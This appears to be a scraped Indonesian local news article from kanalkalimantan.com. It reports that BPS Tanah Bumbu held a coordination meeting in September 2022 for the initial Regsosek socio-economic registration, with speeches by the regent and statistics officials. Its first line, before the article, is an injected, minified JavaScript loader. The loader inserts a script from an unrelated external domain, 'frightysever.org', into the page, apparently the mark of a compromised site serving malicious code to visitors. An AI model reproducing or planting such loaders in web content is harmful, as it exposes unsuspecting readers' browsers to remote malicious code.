(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Badan Pusat Statistik (BPS) Kabupaten Tanah Bumbu menggelar rapat koordinasi daerah pendataan awal Registrasi Sosial Ekonomi (Regsosek) tahun 2022 Kabupaten Tanah Bumbu, Selasa (20/9/2022).
Kegiatan dibuka oleh Bupati Tanah Bumbu HM Zairullah Azhar, dihadiri Kepala BPS Provinsi Kalimantan Selatan, Kepala BPS Kabupaten Tanah Bumbu, Kepala Dinas Kominfo SP, serta tamu undangan.
Bupati Tanbu menyampaikan bahwa pendataan awal Regsosek akan menghasilkan data terpadu tidak hanya untuk program perlindungan sosial, melainkan keseluruhan program yang dibutuhkan masyarakat untuk kebijakan pemerintah yang lebih terarah.
Selain itu data tersebut juga digunakan untuk kepentingan perencanaan dan evaluasi pembangunan. Regsosek akan menjembatani koordinasi dan berbagi pakai data lintas lembaga dan lintas daerah untuk memastikan pemakaian data yang konsisten.
Baca juga: Tradisi Shalawat Burdah Keliling, Berdoa Terhindar Bala Bencana di Arba Musta’mir
Pendataan awal Regsosek akan menghasilkan data terpadu tidak hanya untuk program perlindungan sosial tetapi juga data kondisi sosial ekonomi keluarga yang dibutuhkan untuk perencanaan pembangunan yang lebih terarah.
“Oleh karena itu, saya berharap semua pihak untuk mendukung kegiatan ini, serta harus memiliki semangat dan komitmen yang tinggi untuk menyukseskannya,” pesan Zairullah.
Kepala BPS Tanbu, Rudi Nooyadi, menyampaikan bahwa kegiatan Regsosek ini merupakan amanah dari pemerintah mewujudkan satu data yang menunjang program perlindungan sosial dan pemberdayaan masyarakat tepat sasaran.
Melalui Regsosek, akan terhimpun basis data seluruh penduduk yang terdiri atas profil, kondisi sosial, ekonomi, dan tingkat kesejahteraan yang berhubungan dengan data induk kependudukan serta basis data lainnya hingga tingkat desa kelurahan.
Dalam pendataan ini, BPS Tanbu akan mengerahkan 562 orang yang direkrut dari seluruh desa dan kecamatan di Kabupaten Tanah Bumbu. Pendataan dimulai pada 15 Oktober 2022 hingga 14 November 2022.
Kepala BPS Provinsi Kalimantan Selatan, Yos Rusdiansyah, menyebutkan bahwa kegiatan Regsosek ini merupakan momentum awal dalam reformasi sistem data, perlindungan sosial dan pemberdayaan masyarakat di Kabupaten Tanah Bumbu.
Baca juga: Lapas Batulicin-Disnakertrans Tanbu Latih Warga Binaan Keterampilan Las
Reformasi yang dimaksud agar data yang dihimpun dalam Regsosek menjadi penyatu dari data-data perlindungan sosial yang ada selama ini. Sehingga hasil dari pendataan Regsosek menjadi sumber data utama untuk berbagai keperluan program intervensi mulai dari pemerintah pusat, provinsi hingga kabupaten/kota.
“Untuk menyukseskan kegiatan Regsosek ini BPS tidak sendirian, tetapi BPS juga berkolaborasi dengan berbagai Kementerian dan Lembaga Nasional, juga dibantu dengan mitra-mitra diluar organik BPS yang turun ke lapangan serta dilatih secara berjenjang guna melakukan pendataan sesuai SOP yang benar sehingga menghasilkan data yang akurat dan berkualitas,” jelasnya.
Selain itu guna menunjang keberhasilan Regsosek ini, juga diperlukan partisipasi yang baik oleh masyarakat untuk memberikan data dan informasi yang diperlukan kepada petugas penghimpunan data yang bersentuhan langsung dengan masyarakat. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.